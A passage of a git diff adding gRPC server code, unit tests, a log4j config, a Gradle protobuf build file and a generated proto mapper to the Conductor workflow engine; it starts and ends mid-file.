workflowService.resetWorkflow(req.getWorkflowId()); + response.onNext(WorkflowServicePb.ResetWorkflowCallbacksResponse.getDefaultInstance()); + response.onCompleted(); + } catch (Exception e) { + GRPC_HELPER.onError(response, e); + } + } + + @Override + public void terminateWorkflow( + WorkflowServicePb.TerminateWorkflowRequest req, + StreamObserver response) { + try { + workflowService.terminateWorkflow(req.getWorkflowId(), req.getReason()); + response.onNext(WorkflowServicePb.TerminateWorkflowResponse.getDefaultInstance()); + response.onCompleted(); + } catch (Exception e) { + GRPC_HELPER.onError(response, e); + } + } + + private void doSearch( + boolean searchByTask, + SearchPb.Request req, + StreamObserver response) { + final int start = req.getStart(); + final int size = GRPC_HELPER.optionalOr(req.getSize(), maxSearchSize); + final List sort = convertSort(req.getSort()); + final String freeText = GRPC_HELPER.optionalOr(req.getFreeText(), "*"); + final String query = req.getQuery(); + + if (size > maxSearchSize) { + response.onError( + Status.INVALID_ARGUMENT + .withDescription( + "Cannot return more than " + maxSearchSize + " results") + .asRuntimeException()); + return; + } + + SearchResult search; + if (searchByTask) { + search = workflowService.searchWorkflowsByTasks(start, size, sort, freeText, query); + } else { + search = workflowService.searchWorkflows(start, size, sort, freeText, query); + } + + response.onNext( + WorkflowServicePb.WorkflowSummarySearchResult.newBuilder() + .setTotalHits(search.getTotalHits()) + .addAllResults( + search.getResults().stream().map(PROTO_MAPPER::toProto)::iterator) + .build()); + response.onCompleted(); + } + + private void doSearchV2( + boolean searchByTask, + SearchPb.Request req, + StreamObserver response) { + final int start = req.getStart(); + final int size = GRPC_HELPER.optionalOr(req.getSize(), maxSearchSize); + final List sort = convertSort(req.getSort()); + final String freeText = GRPC_HELPER.optionalOr(req.getFreeText(), "*"); + final String query = req.getQuery(); + + if (size > maxSearchSize) { + response.onError( + Status.INVALID_ARGUMENT + .withDescription( + "Cannot return more than " + maxSearchSize + " results") + .asRuntimeException()); + return; + } + + SearchResult search; + if (searchByTask) { + search = workflowService.searchWorkflowsByTasksV2(start, size, sort, freeText, query); + } else { + search = workflowService.searchWorkflowsV2(start, size, sort, freeText, query); + } + + response.onNext( + WorkflowServicePb.WorkflowSearchResult.newBuilder() + .setTotalHits(search.getTotalHits()) + .addAllResults( + search.getResults().stream().map(PROTO_MAPPER::toProto)::iterator) + .build()); + response.onCompleted(); + } + + private List convertSort(String sortStr) { + List list = new ArrayList<>(); + if (sortStr != null && sortStr.length() != 0) { + list = Arrays.asList(sortStr.split("\\|")); + } + return list; + } + + @Override + public void search( + SearchPb.Request request, + StreamObserver responseObserver) { + doSearch(false, request, responseObserver); + } + + @Override + public void searchByTasks( + SearchPb.Request request, + StreamObserver responseObserver) { + doSearch(true, request, responseObserver); + } + + @Override + public void searchV2( + SearchPb.Request request, + StreamObserver responseObserver) { + doSearchV2(false, request, responseObserver); + } + + @Override + public void searchByTasksV2( + SearchPb.Request request, + StreamObserver responseObserver) { + doSearchV2(true, request, responseObserver); + } +} diff --git a/grpc-server/src/test/java/com/netflix/conductor/grpc/server/service/HealthServiceImplTest.java b/grpc-server/src/test/java/com/netflix/conductor/grpc/server/service/HealthServiceImplTest.java new file mode 100644 index 0000000..905a98c --- /dev/null +++ b/grpc-server/src/test/java/com/netflix/conductor/grpc/server/service/HealthServiceImplTest.java @@ -0,0 +1,101 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.grpc.server.service; + +public class HealthServiceImplTest { + + // SBMTODO: Move this Spring boot health check + // @Rule + // public final GrpcCleanupRule grpcCleanup = new GrpcCleanupRule(); + // + // @Rule + // public ExpectedException thrown = ExpectedException.none(); + // + // @Test + // public void healthServing() throws Exception { + // // Generate a unique in-process server name. + // String serverName = InProcessServerBuilder.generateName(); + // HealthCheckAggregator hca = mock(HealthCheckAggregator.class); + // CompletableFuture hcsf = mock(CompletableFuture.class); + // HealthCheckStatus hcs = mock(HealthCheckStatus.class); + // when(hcs.isHealthy()).thenReturn(true); + // when(hcsf.get()).thenReturn(hcs); + // when(hca.check()).thenReturn(hcsf); + // HealthServiceImpl healthyService = new HealthServiceImpl(hca); + // + // addService(serverName, healthyService); + // HealthGrpc.HealthBlockingStub blockingStub = HealthGrpc.newBlockingStub( + // // Create a client channel and register for automatic graceful shutdown. + // + // grpcCleanup.register(InProcessChannelBuilder.forName(serverName).directExecutor().build())); + // + // + // HealthCheckResponse reply = + // blockingStub.check(HealthCheckRequest.newBuilder().build()); + // + // assertEquals(HealthCheckResponse.ServingStatus.SERVING, reply.getStatus()); + // } + // + // @Test + // public void healthNotServing() throws Exception { + // // Generate a unique in-process server name. + // String serverName = InProcessServerBuilder.generateName(); + // HealthCheckAggregator hca = mock(HealthCheckAggregator.class); + // CompletableFuture hcsf = mock(CompletableFuture.class); + // HealthCheckStatus hcs = mock(HealthCheckStatus.class); + // when(hcs.isHealthy()).thenReturn(false); + // when(hcsf.get()).thenReturn(hcs); + // when(hca.check()).thenReturn(hcsf); + // HealthServiceImpl healthyService = new HealthServiceImpl(hca); + // + // addService(serverName, healthyService); + // HealthGrpc.HealthBlockingStub blockingStub = HealthGrpc.newBlockingStub( + // // Create a client channel and register for automatic graceful shutdown. + // + // grpcCleanup.register(InProcessChannelBuilder.forName(serverName).directExecutor().build())); + // + // + // HealthCheckResponse reply = + // blockingStub.check(HealthCheckRequest.newBuilder().build()); + // + // assertEquals(HealthCheckResponse.ServingStatus.NOT_SERVING, reply.getStatus()); + // } + // + // @Test + // public void healthException() throws Exception { + // // Generate a unique in-process server name. + // String serverName = InProcessServerBuilder.generateName(); + // HealthCheckAggregator hca = mock(HealthCheckAggregator.class); + // CompletableFuture hcsf = mock(CompletableFuture.class); + // when(hcsf.get()).thenThrow(InterruptedException.class); + // when(hca.check()).thenReturn(hcsf); + // HealthServiceImpl healthyService = new HealthServiceImpl(hca); + // + // addService(serverName, healthyService); + // HealthGrpc.HealthBlockingStub blockingStub = HealthGrpc.newBlockingStub( + // // Create a client channel and register for automatic graceful shutdown. + // + // grpcCleanup.register(InProcessChannelBuilder.forName(serverName).directExecutor().build())); + // + // thrown.expect(StatusRuntimeException.class); + // thrown.expect(hasProperty("status", is(Status.INTERNAL))); + // blockingStub.check(HealthCheckRequest.newBuilder().build()); + // + // } + // + // private void addService(String name, BindableService service) throws Exception { + // // Create a server, add service, start, and register for automatic graceful shutdown. + // grpcCleanup.register(InProcessServerBuilder + // .forName(name).directExecutor().addService(service).build().start()); + // } +} diff --git a/grpc-server/src/test/java/com/netflix/conductor/grpc/server/service/TaskServiceImplTest.java b/grpc-server/src/test/java/com/netflix/conductor/grpc/server/service/TaskServiceImplTest.java new file mode 100644 index 0000000..4489f1b --- /dev/null +++ b/grpc-server/src/test/java/com/netflix/conductor/grpc/server/service/TaskServiceImplTest.java @@ -0,0 +1,242 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.grpc.server.service; + +import java.util.Collections; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicReference; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.Mock; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.grpc.SearchPb; +import com.netflix.conductor.grpc.TaskServicePb; +import com.netflix.conductor.proto.ExecutionMetadataPb; +import com.netflix.conductor.proto.TaskPb; +import com.netflix.conductor.proto.TaskSummaryPb; +import com.netflix.conductor.service.ExecutionService; +import com.netflix.conductor.service.TaskService; + +import io.grpc.stub.StreamObserver; + +import static org.junit.Assert.assertEquals; +import static org.mockito.Mockito.*; +import static org.mockito.MockitoAnnotations.initMocks; + +public class TaskServiceImplTest { + + @Mock private TaskService taskService; + + @Mock private ExecutionService executionService; + + private TaskServiceImpl taskServiceImpl; + + @Before + public void init() { + initMocks(this); + taskServiceImpl = new TaskServiceImpl(executionService, taskService, 5000); + } + + @Test + public void searchExceptionTest() throws InterruptedException { + CountDownLatch streamAlive = new CountDownLatch(1); + AtomicReference throwable = new AtomicReference<>(); + + SearchPb.Request req = + SearchPb.Request.newBuilder() + .setStart(1) + .setSize(50000) + .setSort("strings") + .setQuery("") + .setFreeText("*") + .build(); + + StreamObserver streamObserver = + new StreamObserver<>() { + @Override + public void onNext(TaskServicePb.TaskSummarySearchResult value) {} + + @Override + public void onError(Throwable t) { + throwable.set(t); + streamAlive.countDown(); + } + + @Override + public void onCompleted() { + streamAlive.countDown(); + } + }; + + taskServiceImpl.search(req, streamObserver); + + streamAlive.await(10, TimeUnit.MILLISECONDS); + + assertEquals( + "INVALID_ARGUMENT: Cannot return more than 5000 results", + throwable.get().getMessage()); + } + + @Test + public void searchV2ExceptionTest() throws InterruptedException { + CountDownLatch streamAlive = new CountDownLatch(1); + AtomicReference throwable = new AtomicReference<>(); + + SearchPb.Request req = + SearchPb.Request.newBuilder() + .setStart(1) + .setSize(50000) + .setSort("strings") + .setQuery("") + .setFreeText("*") + .build(); + + StreamObserver streamObserver = + new StreamObserver<>() { + @Override + public void onNext(TaskServicePb.TaskSearchResult value) {} + + @Override + public void onError(Throwable t) { + throwable.set(t); + streamAlive.countDown(); + } + + @Override + public void onCompleted() { + streamAlive.countDown(); + } + }; + + taskServiceImpl.searchV2(req, streamObserver); + + streamAlive.await(10, TimeUnit.MILLISECONDS); + + assertEquals( + "INVALID_ARGUMENT: Cannot return more than 5000 results", + throwable.get().getMessage()); + } + + @Test + public void searchTest() throws InterruptedException { + + CountDownLatch streamAlive = new CountDownLatch(1); + AtomicReference result = new AtomicReference<>(); + + SearchPb.Request req = + SearchPb.Request.newBuilder() + .setStart(1) + .setSize(1) + .setSort("strings") + .setQuery("") + .setFreeText("*") + .build(); + + StreamObserver streamObserver = + new StreamObserver<>() { + @Override + public void onNext(TaskServicePb.TaskSummarySearchResult value) { + result.set(value); + } + + @Override + public void onError(Throwable t) { + streamAlive.countDown(); + } + + @Override + public void onCompleted() { + streamAlive.countDown(); + } + }; + + TaskSummary taskSummary = new TaskSummary(); + SearchResult searchResult = new SearchResult<>(); + searchResult.setTotalHits(1); + searchResult.setResults(Collections.singletonList(taskSummary)); + + when(taskService.search(1, 1, "strings", "*", "")).thenReturn(searchResult); + + taskServiceImpl.search(req, streamObserver); + + streamAlive.await(10, TimeUnit.MILLISECONDS); + + TaskServicePb.TaskSummarySearchResult taskSummarySearchResult = result.get(); + + assertEquals(1, taskSummarySearchResult.getTotalHits()); + assertEquals( + TaskSummaryPb.TaskSummary.newBuilder().build(), + taskSummarySearchResult.getResultsList().get(0)); + } + + @Test + public void searchV2Test() throws InterruptedException { + + CountDownLatch streamAlive = new CountDownLatch(1); + AtomicReference result = new AtomicReference<>(); + + SearchPb.Request req = + SearchPb.Request.newBuilder() + .setStart(1) + .setSize(1) + .setSort("strings") + .setQuery("") + .setFreeText("*") + .build(); + + StreamObserver streamObserver = + new StreamObserver<>() { + @Override + public void onNext(TaskServicePb.TaskSearchResult value) { + result.set(value); + } + + @Override + public void onError(Throwable t) { + streamAlive.countDown(); + } + + @Override + public void onCompleted() { + streamAlive.countDown(); + } + }; + + Task task = new Task(); + SearchResult searchResult = new SearchResult<>(); + searchResult.setTotalHits(1); + searchResult.setResults(Collections.singletonList(task)); + + when(taskService.searchV2(1, 1, "strings", "*", "")).thenReturn(searchResult); + + taskServiceImpl.searchV2(req, streamObserver); + + streamAlive.await(10, TimeUnit.MILLISECONDS); + + TaskServicePb.TaskSearchResult taskSearchResult = result.get(); + + assertEquals(1, taskSearchResult.getTotalHits()); + assertEquals( + TaskPb.Task.newBuilder() + .setCallbackFromWorker(true) + .setExecutionMetadata( + ExecutionMetadataPb.ExecutionMetadata.newBuilder().build()) + .build(), + taskSearchResult.getResultsList().get(0)); + } +} diff --git a/grpc-server/src/test/java/com/netflix/conductor/grpc/server/service/WorkflowServiceImplTest.java b/grpc-server/src/test/java/com/netflix/conductor/grpc/server/service/WorkflowServiceImplTest.java new file mode 100644 index 0000000..6be2363 --- /dev/null +++ b/grpc-server/src/test/java/com/netflix/conductor/grpc/server/service/WorkflowServiceImplTest.java @@ -0,0 +1,365 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.grpc.server.service; + +import java.util.Collections; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicReference; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.Mock; + +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.grpc.SearchPb; +import com.netflix.conductor.grpc.WorkflowServicePb; +import com.netflix.conductor.proto.WorkflowPb; +import com.netflix.conductor.proto.WorkflowSummaryPb; +import com.netflix.conductor.service.WorkflowService; + +import io.grpc.stub.StreamObserver; + +import static org.junit.Assert.assertEquals; +import static org.mockito.Mockito.*; +import static org.mockito.MockitoAnnotations.initMocks; + +public class WorkflowServiceImplTest { + + private static final String WORKFLOW_ID = "anyWorkflowId"; + private static final Boolean RESUME_SUBWORKFLOW_TASKS = true; + + @Mock private WorkflowService workflowService; + + private WorkflowServiceImpl workflowServiceImpl; + + @Before + public void init() { + initMocks(this); + workflowServiceImpl = new WorkflowServiceImpl(workflowService, 5000); + } + + @SuppressWarnings("unchecked") + @Test + public void givenWorkflowIdWhenRetryWorkflowThenRetriedSuccessfully() { + // Given + WorkflowServicePb.RetryWorkflowRequest req = + WorkflowServicePb.RetryWorkflowRequest.newBuilder() + .setWorkflowId(WORKFLOW_ID) + .setResumeSubworkflowTasks(true) + .build(); + // When + workflowServiceImpl.retryWorkflow(req, mock(StreamObserver.class)); + // Then + verify(workflowService).retryWorkflow(WORKFLOW_ID, RESUME_SUBWORKFLOW_TASKS); + } + + @Test + public void searchExceptionTest() throws InterruptedException { + CountDownLatch streamAlive = new CountDownLatch(1); + AtomicReference throwable = new AtomicReference<>(); + + SearchPb.Request req = + SearchPb.Request.newBuilder() + .setStart(1) + .setSize(50000) + .setSort("strings") + .setQuery("") + .setFreeText("") + .build(); + + StreamObserver streamObserver = + new StreamObserver<>() { + @Override + public void onNext(WorkflowServicePb.WorkflowSummarySearchResult value) {} + + @Override + public void onError(Throwable t) { + throwable.set(t); + streamAlive.countDown(); + } + + @Override + public void onCompleted() { + streamAlive.countDown(); + } + }; + + workflowServiceImpl.search(req, streamObserver); + + streamAlive.await(10, TimeUnit.MILLISECONDS); + + assertEquals( + "INVALID_ARGUMENT: Cannot return more than 5000 results", + throwable.get().getMessage()); + } + + @Test + public void searchV2ExceptionTest() throws InterruptedException { + CountDownLatch streamAlive = new CountDownLatch(1); + AtomicReference throwable = new AtomicReference<>(); + + SearchPb.Request req = + SearchPb.Request.newBuilder() + .setStart(1) + .setSize(50000) + .setSort("strings") + .setQuery("") + .setFreeText("") + .build(); + + StreamObserver streamObserver = + new StreamObserver<>() { + @Override + public void onNext(WorkflowServicePb.WorkflowSearchResult value) {} + + @Override + public void onError(Throwable t) { + throwable.set(t); + streamAlive.countDown(); + } + + @Override + public void onCompleted() { + streamAlive.countDown(); + } + }; + + workflowServiceImpl.searchV2(req, streamObserver); + + streamAlive.await(10, TimeUnit.MILLISECONDS); + + assertEquals( + "INVALID_ARGUMENT: Cannot return more than 5000 results", + throwable.get().getMessage()); + } + + @Test + public void searchTest() throws InterruptedException { + + CountDownLatch streamAlive = new CountDownLatch(1); + AtomicReference result = + new AtomicReference<>(); + + SearchPb.Request req = + SearchPb.Request.newBuilder() + .setStart(1) + .setSize(1) + .setSort("strings") + .setQuery("") + .setFreeText("") + .build(); + + StreamObserver streamObserver = + new StreamObserver<>() { + @Override + public void onNext(WorkflowServicePb.WorkflowSummarySearchResult value) { + result.set(value); + } + + @Override + public void onError(Throwable t) { + streamAlive.countDown(); + } + + @Override + public void onCompleted() { + streamAlive.countDown(); + } + }; + + WorkflowSummary workflow = new WorkflowSummary(); + SearchResult searchResult = new SearchResult<>(); + searchResult.setTotalHits(1); + searchResult.setResults(Collections.singletonList(workflow)); + + when(workflowService.searchWorkflows( + anyInt(), anyInt(), anyList(), anyString(), anyString())) + .thenReturn(searchResult); + + workflowServiceImpl.search(req, streamObserver); + + streamAlive.await(10, TimeUnit.MILLISECONDS); + + WorkflowServicePb.WorkflowSummarySearchResult workflowSearchResult = result.get(); + + assertEquals(1, workflowSearchResult.getTotalHits()); + assertEquals( + WorkflowSummaryPb.WorkflowSummary.newBuilder().build(), + workflowSearchResult.getResultsList().get(0)); + } + + @Test + public void searchByTasksTest() throws InterruptedException { + + CountDownLatch streamAlive = new CountDownLatch(1); + AtomicReference result = + new AtomicReference<>(); + + SearchPb.Request req = + SearchPb.Request.newBuilder() + .setStart(1) + .setSize(1) + .setSort("strings") + .setQuery("") + .setFreeText("") + .build(); + + StreamObserver streamObserver = + new StreamObserver<>() { + @Override + public void onNext(WorkflowServicePb.WorkflowSummarySearchResult value) { + result.set(value); + } + + @Override + public void onError(Throwable t) { + streamAlive.countDown(); + } + + @Override + public void onCompleted() { + streamAlive.countDown(); + } + }; + + WorkflowSummary workflow = new WorkflowSummary(); + SearchResult searchResult = new SearchResult<>(); + searchResult.setTotalHits(1); + searchResult.setResults(Collections.singletonList(workflow)); + + when(workflowService.searchWorkflowsByTasks( + anyInt(), anyInt(), anyList(), anyString(), anyString())) + .thenReturn(searchResult); + + workflowServiceImpl.searchByTasks(req, streamObserver); + + streamAlive.await(10, TimeUnit.MILLISECONDS); + + WorkflowServicePb.WorkflowSummarySearchResult workflowSearchResult = result.get(); + + assertEquals(1, workflowSearchResult.getTotalHits()); + assertEquals( + WorkflowSummaryPb.WorkflowSummary.newBuilder().build(), + workflowSearchResult.getResultsList().get(0)); + } + + @Test + public void searchV2Test() throws InterruptedException { + + CountDownLatch streamAlive = new CountDownLatch(1); + AtomicReference result = new AtomicReference<>(); + + SearchPb.Request req = + SearchPb.Request.newBuilder() + .setStart(1) + .setSize(1) + .setSort("strings") + .setQuery("") + .setFreeText("") + .build(); + + StreamObserver streamObserver = + new StreamObserver<>() { + @Override + public void onNext(WorkflowServicePb.WorkflowSearchResult value) { + result.set(value); + } + + @Override + public void onError(Throwable t) { + streamAlive.countDown(); + } + + @Override + public void onCompleted() { + streamAlive.countDown(); + } + }; + + Workflow workflow = new Workflow(); + SearchResult searchResult = new SearchResult<>(); + searchResult.setTotalHits(1); + searchResult.setResults(Collections.singletonList(workflow)); + + when(workflowService.searchWorkflowsV2(1, 1, Collections.singletonList("strings"), "*", "")) + .thenReturn(searchResult); + + workflowServiceImpl.searchV2(req, streamObserver); + + streamAlive.await(10, TimeUnit.MILLISECONDS); + + WorkflowServicePb.WorkflowSearchResult workflowSearchResult = result.get(); + + assertEquals(1, workflowSearchResult.getTotalHits()); + assertEquals( + WorkflowPb.Workflow.newBuilder().build(), + workflowSearchResult.getResultsList().get(0)); + } + + @Test + public void searchByTasksV2Test() throws InterruptedException { + + CountDownLatch streamAlive = new CountDownLatch(1); + AtomicReference result = new AtomicReference<>(); + + SearchPb.Request req = + SearchPb.Request.newBuilder() + .setStart(1) + .setSize(1) + .setSort("strings") + .setQuery("") + .setFreeText("") + .build(); + + StreamObserver streamObserver = + new StreamObserver<>() { + @Override + public void onNext(WorkflowServicePb.WorkflowSearchResult value) { + result.set(value); + } + + @Override + public void onError(Throwable t) { + streamAlive.countDown(); + } + + @Override + public void onCompleted() { + streamAlive.countDown(); + } + }; + + Workflow workflow = new Workflow(); + SearchResult searchResult = new SearchResult<>(); + searchResult.setTotalHits(1); + searchResult.setResults(Collections.singletonList(workflow)); + + when(workflowService.searchWorkflowsByTasksV2( + 1, 1, Collections.singletonList("strings"), "*", "")) + .thenReturn(searchResult); + + workflowServiceImpl.searchByTasksV2(req, streamObserver); + + streamAlive.await(10, TimeUnit.MILLISECONDS); + + WorkflowServicePb.WorkflowSearchResult workflowSearchResult = result.get(); + + assertEquals(1, workflowSearchResult.getTotalHits()); + assertEquals( + WorkflowPb.Workflow.newBuilder().build(), + workflowSearchResult.getResultsList().get(0)); + } +} diff --git a/grpc-server/src/test/resources/log4j.properties b/grpc-server/src/test/resources/log4j.properties new file mode 100644 index 0000000..e3fa60b --- /dev/null +++ b/grpc-server/src/test/resources/log4j.properties @@ -0,0 +1,25 @@ +# +# Copyright 2023 Conductor authors +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# Set root logger level to WARN and its only appender to A1. +log4j.rootLogger=WARN, A1 + +# A1 is set to be a ConsoleAppender. +log4j.appender.A1=org.apache.log4j.ConsoleAppender + +# A1 uses PatternLayout. +log4j.appender.A1.layout=org.apache.log4j.PatternLayout +log4j.appender.A1.layout.ConversionPattern=%-4r [%t] %-5p %c %x - %m%n \ No newline at end of file diff --git a/grpc/build.gradle b/grpc/build.gradle new file mode 100644 index 0000000..0886145 --- /dev/null +++ b/grpc/build.gradle @@ -0,0 +1,96 @@ +/* + * Copyright 2023 Conductor authors + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ + +buildscript { + dependencies { + classpath 'com.google.protobuf:protobuf-gradle-plugin:0.9.5' + } +} + +plugins { + id 'java' + id 'idea' + id "com.google.protobuf" version "0.9.6" +} + +repositories{ + maven { url "https://mvnrepository.com/artifact" } +} + +dependencies { + implementation project(':conductor-common') + + implementation "com.google.protobuf:protobuf-java:${revProtoBuf}" + implementation "io.grpc:grpc-protobuf:${revGrpc}" + implementation "io.grpc:grpc-stub:${revGrpc}" + implementation "io.grpc:grpc-xds:${revGrpc}" + implementation "jakarta.annotation:jakarta.annotation-api:${revJakartaAnnotation}" + implementation "javax.annotation:javax.annotation-api:1.3.2" //Needs to be added as a workaround for the generated tags + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.core:jackson-core" + implementation "com.fasterxml.jackson.core:jackson-annotations" + +} + +// PINNED (#964): protoc must match protobuf-java 3.x used by grpc-protobuf:1.73.0. +// Using protoc 4.x generates code incompatible with the 3.x runtime. +// See: https://github.com/grpc/grpc-java/issues/12246 +def artifactName = 'com.google.protobuf:protoc:3.25.5' +switch (org.gradle.internal.os.OperatingSystem.current()) { + case org.gradle.internal.os.OperatingSystem.LINUX: + artifactName = "com.google.protobuf:protoc:3.25.5" + break; + case org.gradle.internal.os.OperatingSystem.MAC_OS: + artifactName = "com.google.protobuf:protoc:3.25.5" + break; + case org.gradle.internal.os.OperatingSystem.WINDOWS: + artifactName = "com.google.protobuf:protoc:3.25.5" + break; +} + +protobuf { + protoc { + artifact = artifactName + } + plugins { + grpc { + artifact = "io.grpc:protoc-gen-grpc-java:${revGrpc}" + } + } + generateProtoTasks { + processResources.dependsOn extractProto + all()*.plugins { + grpc {} + } + all()*.dependsOn(':conductor-common:protogen') + } +} + +idea { + module { + sourceDirs += file("${projectDir}/build/generated/source/proto/main/java"); + sourceDirs += file("${projectDir}/build/generated/source/proto/main/grpc"); + } +} + +sourceSets { + main { + java { + srcDir 'build/generated/source/proto/main/java' + srcDir 'build/generated/source/proto/main/grpc' + } + } +} + +tasks.getByPath(':conductor-grpc:sourcesJar').dependsOn(':conductor-grpc:generateProto') +compileJava.dependsOn(tasks.getByPath(':conductor-common:protogen')) diff --git a/grpc/src/main/java/com/netflix/conductor/grpc/AbstractProtoMapper.java b/grpc/src/main/java/com/netflix/conductor/grpc/AbstractProtoMapper.java new file mode 100644 index 0000000..79a5957 --- /dev/null +++ b/grpc/src/main/java/com/netflix/conductor/grpc/AbstractProtoMapper.java @@ -0,0 +1,1839 @@ +package com.netflix.conductor.grpc; + +import com.google.protobuf.Any; +import com.google.protobuf.Value; +import com.netflix.conductor.common.metadata.SchemaDef; +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.ExecutionMetadata; +import com.netflix.conductor.common.metadata.tasks.PollData; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.workflow.CacheConfig; +import com.netflix.conductor.common.metadata.workflow.DynamicForkJoinTask; +import com.netflix.conductor.common.metadata.workflow.DynamicForkJoinTaskList; +import com.netflix.conductor.common.metadata.workflow.RateLimitConfig; +import com.netflix.conductor.common.metadata.workflow.RerunWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.SkipTaskRequest; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.StateChangeEvent; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.UpgradeWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDefSummary; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.proto.CacheConfigPb; +import com.netflix.conductor.proto.DynamicForkJoinTaskListPb; +import com.netflix.conductor.proto.DynamicForkJoinTaskPb; +import com.netflix.conductor.proto.EventExecutionPb; +import com.netflix.conductor.proto.EventHandlerPb; +import com.netflix.conductor.proto.ExecutionMetadataPb; +import com.netflix.conductor.proto.PollDataPb; +import com.netflix.conductor.proto.RateLimitConfigPb; +import com.netflix.conductor.proto.RerunWorkflowRequestPb; +import com.netflix.conductor.proto.SchemaDefPb; +import com.netflix.conductor.proto.SkipTaskRequestPb; +import com.netflix.conductor.proto.StartWorkflowRequestPb; +import com.netflix.conductor.proto.StateChangeEventPb; +import com.netflix.conductor.proto.SubWorkflowParamsPb; +import com.netflix.conductor.proto.TaskDefPb; +import com.netflix.conductor.proto.TaskExecLogPb; +import com.netflix.conductor.proto.TaskPb; +import com.netflix.conductor.proto.TaskResultPb; +import com.netflix.conductor.proto.TaskSummaryPb; +import com.netflix.conductor.proto.UpgradeWorkflowRequestPb; +import com.netflix.conductor.proto.WorkflowDefPb; +import com.netflix.conductor.proto.WorkflowDefSummaryPb; +import com.netflix.conductor.proto.WorkflowPb; +import com.netflix.conductor.proto.WorkflowSummaryPb; +import com.netflix.conductor.proto.WorkflowTaskPb; +import jakarta.annotation.Generated; +import java.lang.IllegalArgumentException; +import java.lang.Object; +import java.lang.String; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +@Generated("com.netflix.conductor.annotationsprocessor.protogen") +public abstract class AbstractProtoMapper { + public CacheConfigPb.CacheConfig toProto(CacheConfig from) { + CacheConfigPb.CacheConfig.Builder to = CacheConfigPb.CacheConfig.newBuilder(); + if (from.getKey() != null) { + to.setKey( from.getKey() ); + } + to.setTtlInSecond( from.getTtlInSecond() ); + return to.build(); + } + + public CacheConfig fromProto(CacheConfigPb.CacheConfig from) { + CacheConfig to = new CacheConfig(); + to.setKey( from.getKey() ); + to.setTtlInSecond( from.getTtlInSecond() ); + return to; + } + + public DynamicForkJoinTaskPb.DynamicForkJoinTask toProto(DynamicForkJoinTask from) { + DynamicForkJoinTaskPb.DynamicForkJoinTask.Builder to = DynamicForkJoinTaskPb.DynamicForkJoinTask.newBuilder(); + if (from.getTaskName() != null) { + to.setTaskName( from.getTaskName() ); + } + if (from.getWorkflowName() != null) { + to.setWorkflowName( from.getWorkflowName() ); + } + if (from.getReferenceName() != null) { + to.setReferenceName( from.getReferenceName() ); + } + for (Map.Entry pair : from.getInput().entrySet()) { + to.putInput( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.getType() != null) { + to.setType( from.getType() ); + } + return to.build(); + } + + public DynamicForkJoinTask 